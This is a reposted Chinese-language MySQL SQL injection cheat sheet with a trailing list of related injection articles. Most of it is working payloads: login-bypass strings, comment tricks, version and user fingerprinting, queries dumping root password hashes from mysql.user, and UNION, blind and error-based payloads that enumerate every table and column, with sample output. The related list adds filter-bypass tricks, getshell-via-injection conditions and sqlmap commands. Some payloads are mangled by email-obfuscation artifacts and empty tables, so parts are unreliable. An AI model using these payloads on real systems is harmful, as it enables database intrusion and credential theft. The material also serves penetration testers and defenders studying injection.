mysql 注入科普
轉載自:http://ourmysql.com/archives/1244?f=wb
預設存在的資料庫:
mysql | 需要root許可權讀取 |
information_schema | 在5以上的版本中存在 |
測試是否存在注入方法
假:表示查詢是錯誤的 (MySQL 報錯/返回頁面與原來不同)
真:表示查詢是正常的 (返回頁面與原來相同)
共三種情況:
字串型別查詢時: | 數字型別查詢時: | 登陸時: | |||||||||||||||||||||||||||||||||||||
---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
|
|
|
例子:
SELECT * FROM Users WHERE id = '1'''; SELECT * FROM Users WHERE id = 3-2; SELECT * FROM Users WHERE username = 'Mike' AND password = '' OR '' = '';
可以使用很多單雙引號,只要是成對出現。
SELECT * FROM Articles WHERE id = '121'''''''''''''
引號後的語句會繼續執行。
SELECT '1'''''"" UNION SELECT '2' # 1 and 2
下面的符號可以用來註釋語句:
# | Hash 語法 |
/* | C-style 語法 |
– - | SQL 語法 |
;%00 | 空位元組 |
` | 反引號 |
例子:
SELECT * FROM Users WHERE username = '' OR 1=1 -- -' AND password = ''; SELECT * FROM Users WHERE id = '' UNION SELECT 1, 2, 3`';
測試資料庫版本
VERSION() @@VERSION @@GLOBAL.VERSION
如果版本為5的話,下面例子返回為真:
SELECT * FROM Users WHERE id = '1' AND MID(VERSION(),1,1) = '5';
windows平臺上的mysql查詢與linux上返回不同,如果是windows伺服器返回結果會包含 -nt-log字元。
資料庫認證資訊:
表 | mysql.user |
欄位 | user, password |
當前使用者 | user(), current_user(), current_user, system_user(), session_user() |
例子:
SELECT current_user; SELECT CONCAT_WS(0x3A, user, password) FROM mysql.user WHERE user = 'root'-- (Privileged)
資料庫名:
表 | information_schema.schemata, mysql.db |
欄位 | schema_name, db |
當前資料庫 | database(), schema() |
例子:
SELECT database(); SELECT schema_name FROM information_schema.schemata; SELECT DISTINCT(db) FROM mysql.db;-- (Privileged)
伺服器主機名:
@@HOSTNAME
例子:
SELECT @@hostname;
表和欄位
檢測欄位數
兩種方式:
ORDER BY判斷 | ORDER BY n+1; 讓n一直增加直到出現錯誤頁面。
例子: 1′ ORDER BY 1–+ 真 |
基於錯誤查詢 | AND (SELECT * FROM SOME_EXISTING_TABLE) = 1 注意: 這種方式需要你知道所要查詢的表名。 這種報錯方式返回表的欄位數,而不是錯誤的查詢語句。
例子: |
查詢表名
三種方式:
Union方式 | UNION SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE version=10;– MySQL 4版本時用version=9,MySQL 5版本時用version=10 |
盲注 | AND SELECT SUBSTR(table_name,1,1) FROM information_schema.tables > ‘A’ |
報錯 | AND(SELECT COUNT(*) FROM (SELECT 1 UNION SELECT null UNION SELECT !1)x GROUP BY CONCAT((SELECT table_name FROM information_schema.tables LIMIT 1),FLOOR(RAND(0)*2)))
(@:=1)||@ GROUP BY CONCAT((SELECT table_name FROM information_schema.tables LIMIT 1),[email protected]) HAVING @||MIN(@:=0); AND ExtractValue(1, CONCAT(0x5c, (SELECT table_name FROM information_schema.tables LIMIT 1)));– 在5.1.5版本中成功。 |
查詢列名
Union方式 | UNION SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name = ‘tablename’ |
盲注 | AND SELECT SUBSTR(column_name,1,1) FROM information_schema.columns > ‘A’ |
報錯 | AND(SELECT COUNT(*) FROM (SELECT 1 UNION SELECT null UNION SELECT !1)x GROUP BY CONCAT((SELECT column_name FROM information_schema.columns LIMIT 1),FLOOR(RAND(0)*2)))
(@:=1)||@ GROUP BY CONCAT((SELECT column_name FROM information_schema.columns LIMIT 1),[email protected]) HAVING @||MIN(@:=0); AND ExtractValue(1, CONCAT(0x5c, (SELECT column_name FROM information_schema.columns LIMIT 1)));– 在5.1.5版本中成功。 AND (1,2,3) = (SELECT * FROM SOME_EXISTING_TABLE UNION SELECT 1,2,3 LIMIT 1)– MySQL 5.1版本修復了 |
利用PROCEDURE ANALYSE() | 這個需要web展示頁面有你所注入查詢的一個欄位。
例子: 1 PROCEDURE ANALYSE() 獲得第一個段名 |
一次查詢多個表或列
SELECT (@) FROM (SELECT(@:=0x00),(SELECT (@) FROM (information_schema.columns) WHERE (table_schema>[email protected]) AND (@)IN (@:=CONCAT(@,0x0a,' [ ',table_schema,' ] >',table_name,' > ',column_name))))x
例子:
SELECT * FROM Users WHERE id = '-1' UNION SELECT 1, 2, (SELECT (@) FROM (SELECT(@:=0x00),(SELECT (@) FROM (information_schema.columns) WHERE (table_schema>[email protected]) AND (@)IN (@:=CONCAT(@,0x0a,' [ ',table_schema,' ] >',table_name,' > ',column_name))))x), 4--+';
輸出結果:
[ information_schema ] >CHARACTER_SETS > CHARACTER_SET_NAME [ information_schema ] >CHARACTER_SETS > DEFAULT_COLLATE_NAME [ information_schema ] >CHARACTER_SETS > DESCRIPTION [ information_schema ] >CHARACTER_SETS > MAXLEN [ information_schema ] >COLLATIONS > COLLATION_NAME [ information_schema ] >COLLATIONS > CHARACTER_SET_NAME [ information_schema ] >COLLATIONS > ID [ information_schema ] >COLLATIONS > IS_DEFAULT [ information_schema ] >COLLATIONS > IS_COMPILED
利用程式碼:
SELECT MID(GROUP_CONCAT(0x3c62723e, 0x5461626c653a20, table_name, 0x3c62723e, 0x436f6c756d6e3a20, column_name ORDER BY (SELECT version FROM information_schema.tables) SEPARATOR 0x3c62723e),1,1024) FROM information_schema.columns
例子:
SELECT username FROM Users WHERE id = '-1' UNION SELECT MID(GROUP_CONCAT(0x3c62723e, 0x5461626c653a20, table_name, 0x3c62723e, 0x436f6c756d6e3a20, column_name ORDER BY (SELECT version FROM information_schema.tables) SEPARATOR 0x3c62723e),1,1024) FROM information_schema.columns;
輸出結果:
Table: talk_revisions Column: revid Table: talk_revisions Column: userid Table: talk_revisions Column: user Table: talk_projects Column: priority
根據列名查詢所在的表
SELECT table_name FROM information_schema.columns WHERE column_name = ‘username’; | 查詢欄位為username的表 |
SELECT table_name FROM information_schema.columns WHERE column_name LIKE ‘%user%’; | 查詢欄位中包含user的表 |
根據表查詢包含的欄位
SELECT column_name FROM information_schema.columns WHERE table_name = ‘Users’; | 查詢user表中的欄位 |
SELECT column_name FROM information_schema.columns WHERE table_name LIKE ‘%user%’; |
相關推薦mysql 注入科普轉載自:http://ourmysql.com/archives/1244?f=wb 預設存在的資料庫: mysql 需要root許可權讀取 information_schema 在5以上的版 【19】WEB安全學習----MySQL注入-4一、盲注介紹 開發人員一般禁用了所有的詳細錯誤訊息,如果發現了一個SQL注入點,但應用只提供了一個通用的錯誤頁面;或者返回正常頁面但沒有我們需要的內容在上面。這些都屬於SQL盲注,沒有錯誤訊息或反饋內容就不能使用之前的注入方法,而是採用SQL邏輯操作以位元組方式推斷資料來修 【SQL注入技巧拓展】————2、MySQL注入攻擊與防禦本文主要是做一個Mysql的注入總結,對於Mysql來說利用的方式太過於靈活,這裡總結了一些主流的一些姿勢。 一、注入常用函式與字元 下面幾點是注入中經常會用到的語句 控制語句操作(select, case, if(), ...) 比較操作(=, like, mod() mysql注入繞過的一些技巧雖然mysql + php的開發中可以使用pdo中,但是有些老久的程式沒有使用,或其他原因 1.註釋繞過 select/*comment*/user/*zzsdsdsf*/from mysql.user; 2.內聯註釋繞過 /*!12345select*//*!12345user*/ fro mysql注入時的註釋處理我們在碰到字元型注入點時,要想辦法把原查詢SQL語句後面的單引號消掉才能讓注入語句執行成功,我所知道常用的辦法有以下幾種(也許還有其他辦法,望高手指教),假設查詢欄位數為兩個且只用到一個字元型條件引數: 1、加註釋,如:showtopic.php?key=abc' and 1<> 1 uni MYSQL注入繞過技巧/lingdao.php?id=4.990Union(select-1.0,2,3,4,5,6,7,@@version) Article/show/id/4.0Union(select-0.1,2,USER,password,5,6,7,8,9,10,11,12,13.0FROM mysql%252euse 【sql注入教程】mysql注入直接getshellMysql注入直接getshell的條件相對來說比較苛刻點把 1:要知道網站絕對路徑,可以通過報錯,phpinfo介面,404介面等一些方式知道 2:gpc沒有開啟,開啟了單引號被轉義了,語句就不能正常執行了 3:要有file許可權,預設情況下只有root有 4: sqlmap之(四)----Mysql注入實戰(1) 查詢資料庫 sqlmap.py -u "http://localhost/sqls/index.php?id=123" --dbs 資料庫有8個。 (2) 通過第一步的資料庫查詢表( Mysql注入之一 聯合注入一 前言 作者也在學習web安全,可能文章中或多或少存在一些錯誤內容。寫些手工注入的文章,一方面能加深對這部分知識的印象,一方面也能大家互相學習。 有人可能問:資料庫注入不是有很多非常強大的工具,如sqlmap,為什麼還要去花些時間去學習手工注入。雖然使用s jsp mysql 注入攻擊例項例子 要查詢資訊 並顯示出來 SQL 資訊表與admin表 插入資訊 md5 加密的密碼 CREATE TABLE `admin` ( `Id` int(11) NOT NULL AUTO_INCREMENT, `Name` varchar(40) NOT 史上最完整的MySQL注入免責宣告:本教程僅用於教育目的,以保護您自己的SQL註釋程式碼。 在閱讀本教程後,您必須對任何行動承擔全部責任。 0x00 ~ 背景 這篇文章題目為“為新手完成MySQL注入”,它旨在提供專門針對MySQL資料庫的SQL注入的完整知識和工作方式,除了堆疊查詢部分。 這 【20】WEB安全學習----MySQL注入-5(布林型盲注)布林型盲注例子演示: 本次程式碼不輸出具體的查詢記錄結果,如果存在ID值則輸出一個狀態,不存在ID值則輸出另一個狀態,也不會輸出SQL報錯狀態,為布林型盲注。 <?php header('content-type:text/html;charset=utf- Mysql注入之注入點探測Mysql初級SQL注入總結 作為一個剛剛接觸web安全的小白來說經驗的總結非常重要今天我就來總結一下SQL注入的內容 注入點的探測:當然我們第一個想到的當然是使用工具去探測,但作為新手我們現在不講工具,那如何探測呢? 首先我們需要先判斷是什麼型別的注入點有數字型,字元 sqlmap進行mysql注入root許可權讀寫檔案1.在BT5 R2下[email protected]:/sqlmap# python sqlmap.py -u http://www.wepost.com.hk/article.php?id=276 -f -b --current-user --curren 【22】WEB安全學習----MySQL注入-7(繞過限制)註釋符:-- 、#、/**/繞過 只能閉合後面的語句,使其成為正確的SQL語句。 $sql="SELECT username FROM users WHERE id='{$id}' limit 0,1;" $id=-1' union select version() ' MySQL注入--PayloadMySQL注入--Payload Mirror王宇陽 2019-10-22 SQL的注入流程一般如下: 1、判斷是否有SQL注入漏洞(判斷注入點) 2、判斷資料庫的系統架構、資料庫名、web應用型別等 3、獲取資料庫資訊 4、加密資訊破解 5、進行提權 前篇 注入漏洞分類: 數字型注入: 當輸入(注入)的 【網路安全】SQL注入、XML注入、JSON注入和CRLF注入科普文目錄 SQL注入 一些尋找SQL漏洞的方法 防禦SQL注入 SQL注入相關的優秀部落格 XML注入 什麼是XML注入 預防XML注入 對MYSQL注入相關內容及部分Trick的歸類小結前言 最近在給學校的社團成員進行web安全方面的培訓,由於在mysql注入這一塊知識點挺雜的,入門容易,精通較難,網上相對比較全的資料也比較少,大多都是一個比較散的知識點,所以我打算將我在學習過程中遇到的關於的mysql注入的內容給全部羅列出來,既方便個人之後的複習,也方便後人查詢相關資料。 本文部分內容可能 nodejs中查詢mysql防止SQL注入Performing queries The most basic way to perform a query is to call the .query() method on an object (like a Connection, Pool, or PoolNamespace inst 在SQL注入中常用的mysql語法user()返回當前資料庫連線使用的使用者; database()返回當前資料庫連線使用的資料庫; version()返回當前資料庫的版本; concat-ws() 函式可以將這些函式進行組合使用並顯示出來。concat函式中,將其中的引數直接連線起來產生新的字串。而在con |